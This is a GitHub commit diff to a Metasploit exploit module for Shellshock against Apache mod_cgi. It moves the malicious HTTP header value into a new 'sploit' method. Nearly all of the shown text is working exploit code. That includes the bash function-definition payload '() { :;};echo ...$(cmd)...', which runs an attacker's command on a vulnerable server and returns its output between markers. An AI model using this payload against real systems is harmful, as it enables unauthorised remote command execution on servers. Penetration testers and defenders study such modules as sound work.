We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 12d7073 commit de65ab0Copy full SHA for de65ab0
modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb
@@ -121,11 +121,15 @@ def req(cmd)
121
'method' => datastore['METHOD'],
122
'uri' => normalize_uri(target_uri.path.to_s),
123
'headers' => {
124
- datastore['HEADER'] => "() { :;};echo #{marker}$(#{cmd})#{marker}"
+ datastore['HEADER'] => sploit(cmd)
125
}
126
}, datastore['TIMEOUT'])
127
end
128
129
+ def sploit(cmd)
130
+ %Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
131
+ end
132
+
133
def marker
134
@marker ||= rand_text_alphanumeric(rand(42) + 1)
135
0 commit comments